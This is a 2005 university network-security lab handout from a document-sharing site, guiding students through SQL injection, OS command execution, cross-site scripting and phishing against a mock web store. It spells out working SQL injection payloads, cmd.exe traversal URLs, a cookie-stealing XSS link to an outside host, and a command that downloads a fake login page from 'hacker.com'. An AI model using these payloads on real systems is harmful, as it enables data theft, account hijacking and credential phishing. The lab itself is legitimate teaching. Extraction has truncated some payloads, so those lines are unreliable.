Docsity

Web App Security: Exploiting SQL Injection, XSS, and Phishing, Lab Reports of Electrical and Electronics Engineering

Toggle sidebar
bg1
ECE 4112: Internetwork Security
Lab 12: Web Application Security
Group Number: ___________
Member Names: _______________ _______________
Please read the entire lab and any extra materials carefully before starting. Be sure to
start early enough so that you will have time to complete the lab. Answer ALL questions
and be sure you turn in ALL materials listed in the Turn-in Checklist ON or BEFORE
the Date Due.
Date: November 16, 2005
Date Due: November 23, 2005
Last Revised: December 2, 2004
Written by: Jason Trost, Tracey Diamond, Kyle Forkner, and Brandon Olekas.
Goal: The goal of this lab is to examine various tools and techniques that can be
used to exploit weaknesses in web applications.
Summary: This lab will introduce techniques that can be used to exploit
vulnerabilities in web applications. These exploits include using SQL injection to obtain
database information, OS commanding, cross site scripting, and phishing attacks.
Equipment Needed: The Windows 2000 Server image stored on the
NAS should be set up as the web application server the students will attack. To attack
the web application, students will need to use IE from one of their Windows XP virtual
machines.
Background and Theory:
The following is a combined version of the following three articles:
1. http://www.securityfocus.com/infocus/1704
2. http://www.securityfocus.com/infocus/1709
3. http://www.securityfocus.com/infocus/1722
Web applications are becoming more prevalent and increasingly more sophisticated, and
as such they are critical to almost all major online businesses. As with most security
issues involving client/server communications, Web application vulnerabilities generally
stem from improper handling of client requests and/or a lack of input validation checking
1
pf3
pf4
pf5
pf8
pf9
pfa
pfd
pfe
pff
pf12
pf13
pf14
pf15
pf16
pf17
pf18
pf19
pf1a

Partial preview of the text

Download Web App Security: Exploiting SQL Injection, XSS, and Phishing and more Lab Reports Electrical and Electronics Engineering in PDF only on Docsity!

ECE 4112: Internetwork Security

Lab 12: Web Application Security

Group Number: ___________ Member Names: _______________ _______________ Please read the entire lab and any extra materials carefully before starting. Be sure to start early enough so that you will have time to complete the lab. Answer ALL questions and be sure you turn in ALL materials listed in the Turn-in Checklist ON or BEFORE the Date Due. Date: November 16, 2005 Date Due: November 23, 2005 Last Revised: December 2, 2004 Written by: Jason Trost, Tracey Diamond, Kyle Forkner, and Brandon Olekas.

Goal: The goal of this lab is to examine various tools and techniques that can be

used to exploit weaknesses in web applications.

Summary: This lab will introduce techniques that can be used to exploit

vulnerabilities in web applications. These exploits include using SQL injection to obtain database information, OS commanding, cross site scripting, and phishing attacks.

Equipment Needed: The Windows 2000 Server image stored on the

NAS should be set up as the web application server the students will attack. To attack the web application, students will need to use IE from one of their Windows XP virtual machines.

Background and Theory:

The following is a combined version of the following three articles:

  1. http://www.securityfocus.com/infocus/
  2. http://www.securityfocus.com/infocus/
  3. http://www.securityfocus.com/infocus/ Web applications are becoming more prevalent and increasingly more sophisticated, and as such they are critical to almost all major online businesses. As with most security issues involving client/server communications, Web application vulnerabilities generally stem from improper handling of client requests and/or a lack of input validation checking

on the part of the developer. The very nature of Web applications - their ability to collate, process and disseminate information over the Internet - exposes them in two ways. First and most obviously, they have total exposure by nature of being publicly accessible. This makes security through obscurity impossible and heightens the requirement for hardened code. Second and most critically from a penetration testing perspective, they process data elements from within HTTP requests - a protocol that can employ a myriad of encoding and encapsulation techniques. Most Web application environments (including ASP and PHP), expose these data elements to the developer in a manner that fails to identify how they were captured and hence what kind of validation and sanity checking should apply to them. Because the Web "environment" is so diverse and contains so many forms of programmatic content, input validation and sanity checking is the key to Web applications security. This involves both identifying and enforcing the valid domain of every user-definable data element, as well as a sufficient understanding of the source of all data elements to determine what is potentially user definable. The Root of the Issue: Input Validation Input validation issues can be difficult to locate in a large code base with lots of user interactions, which is the main reason that developers employ penetration testing methodologies to expose these problems. Web applications are, however, not immune to the more traditional forms of attack. Poor authentication mechanisms, logic flaws, unintentional disclosure of content and environment information, and traditional binary application flaws (such as buffer overflows) are rife. When approaching a Web application as a penetration tester, all this must be taken into account, and a methodical process of input/output or "blackbox" testing, in addition to (if possible) code auditing or "whitebox" testing, must be applied. What exactly is a Web application? A Web application is an application, generally comprised of a collection of scripts that reside on a Web server and interact with databases or other sources of dynamic content. They are fast becoming ubiquitous as they allow service providers and their clients to share and manipulate information in an (often) platform-independent manner via the infrastructure of the Internet. Some examples of Web applications include search engines, webmail, shopping carts and portal systems. How does it look from the users perspective?

The header and any page returned from a HEAD or OPTIONS request will usually contain a SERVER: string or similar detailing the Web server software version and possibly the scripting environment or operating system in use. OPTIONS / HTTP/1. HTTP/1.1 200 OK Server: Microsoft-IIS/5. Date: Wed, 04 Jun 2003 11:02:45 GMT MS-Author-Via: DAV Content-Length: 0 Accept-Ranges: none DASL: DAV: 1, 2 Public: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH Allow: OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK Cache-Control: private

2. Investigate the format and wording of 404/other error pages Some application environments (such as ColdFusion) have customized and therefore easily recognizable error pages, and will often give away the software versions of the scripting language in use. The tester should deliberately request invalid pages and utilize alternate request methods (POST/PUT/Other) in order to glean this information from the server. Below is an example of a ColdFusion 404 error page:

3. Test for recognized file types/extensions/directories Many Web services (such as Microsoft IIS) will react differently to a request for a known and supported file extension than an unknown extension. The tester should attempt to request common file extensions such as .ASP, .HTM, .PHP, .EXE and watch for any unusual output or error codes. GET /blah.idq HTTP/1. HTTP/1.1 200 OK Server: Microsoft-IIS/5. Date: Wed, 04 Jun 2003 11:12:24 GMT Content-Type: text/html The IDQ file blah.idq could not be found. 4. Examine source of available pages The source code from the immediately accessible pages of the application front- end may give clues as to the underlying application environment. Home Page

In this situation, the developer appears to be using MS Visual Studio 7. The underlying environment is likely to be Microsoft IIS 5.0 with .NET framework.

5. Manipulate inputs in order to elicit a scripting error In the example below the most obvious variable (ItemID) has been manipulated to fingerprint the Web application environment:

application by manipulating the identified inputs - using special characters, white space, SQL keywords, oversized requests, and so forth. Any unexpected reaction from the Web application is noted and investigated. This may take the form of scripting error messages (possibly with snippets of code), server errors (HTTP 500), or half-loaded pages. Figure 1 - Blackbox testing GET variables Any strange behavior on the part of the application, in response to strange inputs, is certainly worth investigating as it may mean the developer has failed to validate inputs correctly! SQL Injection Vulnerabilities Many Web application developers (regardless of the environment) do not properly strip user input of potentially "nasty" characters before using that input directly in SQL queries. Depending on the back-end database in use, SQL injection vulnerabilities lead to varying levels of data/system access for the attacker. It may be possible to not only manipulate existing queries, but to UNION in arbitrary data, use sub-selects, or append additional queries. In some cases, it may be possible to read in or write out to files, or to execute shell commands on the underlying operating system. Locating SQL Injection Vulnerabilities Often the most effective method of locating SQL injection vulnerabilities is by hand - studying application inputs and inserting special characters. With many of the popular backends, informative errors pages are displayed by default, which can often give clues to the SQL query in use: when attempting SQL injection attacks, you want to learn as much as possible about the syntax of database queries.

Figure 2 - Potential SQL injection vulnerability Figure 3 - Another potential SQL injection hole Example: Authentication by-pass using SQL injection This is one of the most commonly used examples of an SQL injection vulnerability, as it is easy to understand for non-SQL-developers and highlights the extent and severity of these vulnerabilities. One of the simplest ways to validate a user on a Web site is by providing them with a form, which prompts for a username and password. When the form is submitted to the login script (eg. login.asp), the username and password fields are used as variables within an SQL query.

server-side files (such as by posting to a message board or guestbook) it is sometimes possible to inject code in the scripting language of the application itself. Server Side Includes (SSI) SSI is a mechanism for including files using a special form of HTML comment which predates the include functionality of modern scripting languages such as PHP and JSP. Older CGI programs and 'classic' ASP scripts still use SSI to include libraries of code or re-usable elements of content, such as a site template header and footer. SSI is interpreted by the Web server, not the scripting language, so if SSI tags can be injected at the time of script execution these will often be accepted and parsed by the Web server. Methods of attacking this vulnerability are similar to those shown above for scripting language injection. SSI is rapidly becoming outmoded and disused, so this topic will not be covered in any more detail. Miscellaneous Injection There are many other kinds of injection attacks common amongst Web applications. Since a Web application primarily relies upon the contents of headers, cookies and GET/ POST variables as input, the actions performed by the application that is driven by these variables must be thoroughly examined. There is a potentially limitless scope of actions a Web application may perform using these variables: open files, search databases, interface with other command systems and, as is increasingly common in the Web services world, interface with other Web applications. Each of these actions requires its own syntax and requires that input variables be sanity-checked and validated in a unique manner. Cross Site Scripting Cross Site Scripting attacks (a form of content-injection attack) differs from the many other attack methods covered in this article in that it affects the client-side of the application (ie. the user's browser). Cross Site Scripting (XSS) occurs wherever a developer incorrectly allows a user to manipulate HTML output from the application - this may be in the result of a search query, or any other output from the application where the user's input is displayed back to the user without any stripping of HTML content. Cookies Cookies are a mechanism for maintaining persistent data on the client side of a HTTP exchange. They are not part of the HTTP specification, but are a de-facto industry standard based on a specification issued by Netscape. Cookies involve the use of HTTP header responses to set values on the client side, and in client requests to provide these

values back to the server side. The value is set using a 'Set-Cookie' header and returned using a 'Cookie' header. Take the following example of an exchange of cookies. The client requests a resource, and receives in the headers of the response: Set-Cookie: PASSWORD=g0d; path=/; expires=Friday, 20-Jul-03 23:23:23 GMT When the client requests a resource in path "/" on this server, it sends: Cookie: PASSWORD=g0d The browser is responsible for storing and retrieving cookie values. In both Netscape and Internet Explorer this is done using small temporary files; the security of these mechanisms is beyond the scope of this article, we are more concerned with the problems with cookies themselves. Cookies are often used to authenticate users to an application. If the user's cookie is stolen or captured, an attacker can impersonate that user. There have been numerous browser vulnerabilities in the past that allow attackers to steal known cookies. Cookies should be treated by the developer as another form of user input and be subjected to the same validation routines. There have been numerous examples in the past of SQL injection and other vulnerabilities that are exploitable through manipulating cookie values. Refer to http://www.securityfocus.com/bid/6890, and http://www.securityfocus.com/bid/8349 specific examples of these vulnerabilities.

Prelab Questions: None.

Lab Scenario: For this lab we will be accessing a web server on the Mininet

whose IP address is 57.35.6.2. This web sever hosts a mock website whose web applications are vulnerable to various web application attacks.

Section 1: Information Gathering

In this section you are going to gather basic information about the web server such as the web server software and version, and listening ports on the web server. Banner Grabbing: On your Redhat 8.0 machine, use telnet or netcat to connect to the web server and gather some useful information.

telnet 57.35.6.2 80

character string ' ''.'' This by itself will not give you any data, and it does not indicate that this web application is necessarily vulnerable to SQL injection. Now, you will test to see if this particular web application is vulnerable to SQL injection by passing it part or an SQL statement. Type the following in the Full Name field (you may need to enter an email address also) and then click Submit. ' OR '1'=' Q2.1.1. What was displayed at the top of the page in red text, and what do you think this is? Since the above statement did not give an input validation error, we know that this web application is subject to SQL Injection attacks. Now let's try some more advanced SQL queries. Type the following in the Full Name field and then click Submit: ' UNION SELECT name FROM sysobjects WHERE name != 'd Q2.1.2. What was your result and what do you think this is? Section 2.2. Table Name Enumeration: In the last SQL statement, you used a query that involved the sysobjects table. Sysobjects is a table used by Microsoft SQL Server to store all the table names in the database. Knowing this, it is possible to find other table names from sysobjects. Now change the Full Name field to: ' UNION SELECT name FROM sysobjects WHERE name > 'Categories Then click Submit. Q2.2.1. Use this method to enumerate the first six table names, and list them here. Section 2.3. Enumerating Column names: One of the tables you enumerated should have been Customers. This table contains customer information (shocking isn't it). Try the following query: ' UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='Customers

This query should return the first column name, CustomerID. Now try this query to get the next column name: ' UNION SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='Customers' AND COLUMN_NAME > 'CustomerID Use the above method to enumerate all of the column names. (Note: When you get a “ Recovery Failed ” error, it means that you have enumerated all of the column names. Q2.3.1. List all of the column names from the Customers table (Hint: there should be 4 column names total). Section 2.4. Collecting table data: Now that we know the column names from the Customer table, we should be able to start extracting rows from it. Try the following queries to extract the first row of the Customers table ( Note: you must replace column1 , column2 , column3 , and column4 with the real column names that you enumerated from section 2.3): ' UNION SELECT top 1 column1 FROM Customers WHERE '1'=' This should return “1” ' UNION SELECT column2 FROM Customers WHERE column1 = ' This should return “James Bondwell” ' UNION SELECT column3 FROM Customers WHERE column1 = ' This should return “[email protected]” ' UNION SELECT column4 FROM Customers WHERE column1 = ' This should return “IBS_007”:

(Screenshot #2) You can also list the directory structure and files for specific directories with the following command: http://57.35.6.2/StoreCSVS/(sessionID)/Default.aspx?AdminMode=........\winnt system32\cmd.exe%20/c%20dir%20c:\inetpub\wwwroot Q 3.2.2 Take a screenshot of the resulting page and turn it in with your report. (Screenshot #3) As you can see from the previous commands, direct execution of system calls can provide lots of features that an attacker could use to exploit the system. Q 3.2.3. What steps can be taken to avoid OS command execution?

Section 4: Cross Site Scripting Attacks

Section 4.1. Background Information: From CGISecurity’s XSS FAQ available at: www.cgisecurity.com/articles/xss-faq.shtml. Cross site scripting (or XSS) occurs when dynamic web applications gather malicious data about a user. Dynamic sections of Javascript, VBScript, or ActiveX can be insterted into guestbook or forum pages that when displayed, will be executed by the users browser. By specially formatting these scripts, the attacker can steal user's information such as cookies that can be used to hijack their account. To test for possible XSS vulnerabilities, place a simple Javascript alert message () into a section of the website which can be viewed again. Because forums allow users to post messages and view those posted by others, they create the perfect environment for XSS attacks. After you have posted the above message, view your post to see if your browser displays the pop-up alert message. If the script has been executed, an XSS vulnerability exists and you may be able to steal user's cookies. For an attacker to steal your information, you still have to click on, or view, a specially formulated link which contains the XSS exploit as well as information on where to send or store your information. These links must be constructed so that on execution, they still load the application page as normal. To keep users from viewing the script commands in the XSS exploit link, an attacker will usually convert the text into a Hex

value to disguise it. CGISecurity provides a simple example of hijacking a user’s cookies by redirecting the cookie from a PHP application to their own site that simply records all information. http://host/a.php?variable="> To view the cookies collected by the script, go to: http://www.cgisecurity.com/cgi-bin/cookie.cgi. This site holds a list of all cookies collected by the application. In the above example, the attacker has closed the form that interprets the variable var with the > character. The attacker then inserts a simple Javascript the redirects the user's cookie to the CGISecurity website where it can be logged. Although this link can be easily avoided if you look at the location or status bar before clicking, the following Hex conversion is unreadable and may still be clicked on. http://host/a.php?variable=%22%3e%3c%73%63%72%69%70%74%3e%64%6f %63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d %27%68%74%74%70%3a%2f%2f%77%77%77%2e %63%67%69%73%65%63%75%72%69%74%79%2e%63%6f%6d%2f %63%67%69%2d%62%69%6e%2f%63%6f%6f%6b%69%65%2e%63%67%69%3f %27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f %73%63%72%69%70%74%3e The above text includes the same text as the above ASCII link, but all characters have been converted into their Hex value. Section 4.2. Locating Possible XSS Vulnerabilities: In this lab you will be testing the IBuySpy.com web application located at http://57.35.6.2 for XSS vulnerabilities. After browsing to http://57.35.6.2/ , you will be greeted with a default page that provides some common shopping and web forum services. For this section, we will be focusing on the web board forums. Click the WWWBoard link in the top right hand corner of the page. Since this board requires no authentication, you don't need to login to search for exploits. You can either reply to a previous message, or start your own thread. In either case, after you have entered the name ( use group## where ## is your group number ), email, and subject text, enter the following text in the message section:

After an attacker realizes that he can execute arbitrary commands, he realizes that he could modify the website to launch a phishing attack. The attacker first examines the structure of the site by entering the following URLs into a web browser: http://10.0.0.174/StoreCSVS/(session_id)/Default.aspx?AdminMode=........\winnt system32\cmd.exe%20/c%20dir%20C: http://10.0.0.174/StoreCSVS/(session_id)/Default.aspx?AdminMode=........\winnt system32\cmd.exe%20/c%20dir%20C:\Inetpub http://10.0.0.174/StoreCSVS/(session_id)/Default.aspx?AdminMode=........\winnt system32\cmd.exe%20/c%20dir%20C:\Inetpub\wwwroot Next the attacker creates a fake login page that looks exactly like the real one, but it steals the login information. Then the attacker uses a script that he found on the web server (get.bat) to transfer his malicious login page from his website to the vulnerable web server. http://10.0.0.174/StoreCSVS/(session_id)/Default.aspx?AdminMode=........\winnt system32\cmd.exe%20/c+c:\perl\bin\get.bat+http://www.hacker.com/~haX0r/ Login1.aspx+>+C:\ StoreCSVS \ StoreCSVS \Login1.aspx To view the other page, use the following link: http://57.35.6.2/StoreCSVS/(session_id)/Login1.aspx Note the ‘1’ after the Login text, this minor difference, along with the source, are the only viewable differences between the files. If you view the source, you will see that all validation code in Login1.aspx has been removed, and the form has been changed to point to show_info.aspx. This simple page just displays the information you submitted into the form from the login page. Place your group number string ( groupxx ) in either the email or password fields, and after login take a screenshot of the resulting show_info.aspx page. Q 5.2.1. Take a screenshot of the resulting page and turn it in with your report. (Screenshot #5) Login using the account you created previously, or just some random information. Once you have submitted the form, you will be redirected to the show_info.aspx page that will display your email and password from the login page as well as provide a link back to the original application. (Note that when the link is followed, the session ID changes and the

normal Welcome banner is not present because you have not logged in.) Normally, this page would not be shown to the user, and would point to a different server controlled by the attacker. The user's login information would be recorded silently, and the user would probably be returned to the initial webpage after an error message. Section 5.3. Real World Example: Recently, Citibank was the target of attackers hoping to collect credit card numbers from users. The Anti-Phishing Workgroup’s writup on the incident should show you just how complicated these attacks can become. You can find the article here: http://www.antiphishing.org/phishing_archive/Citibank_3-31-04.htm Notice how the URL in the email appears to come from a Citibank server, web.da- us.citibank.com. However, upon redirect, the real IP for the server is 69.52.202.82. Other impressive techniques used for this attack include the use of https, even though no actual SSL information is transferred, and no padlock appears in the bottom right of the browser. The site follows the normal Citibank website layout, and asks for the information in the email. Finally, if you use the same browser window to surf to a different website, the fake Citibank frame stays in control. (Note the ‘Welcome to Citi’ browser title) By looking at the Anti-Phishing Workgoup’s homepage (http://www.antiphishing.org/index.html), you can see how frequent and dangerous this type of attack has become. Q 5.3.1. Usually these attacks are spread through email, as a banking or finance institution, what steps can you employ to make sure users are aware of phishing attacks? Q 5.3.2. If you receive an email asking you to follow a link and login to protect your account, what steps can you use to make sure the page is authentic?

Section 6: Achilles Web Proxy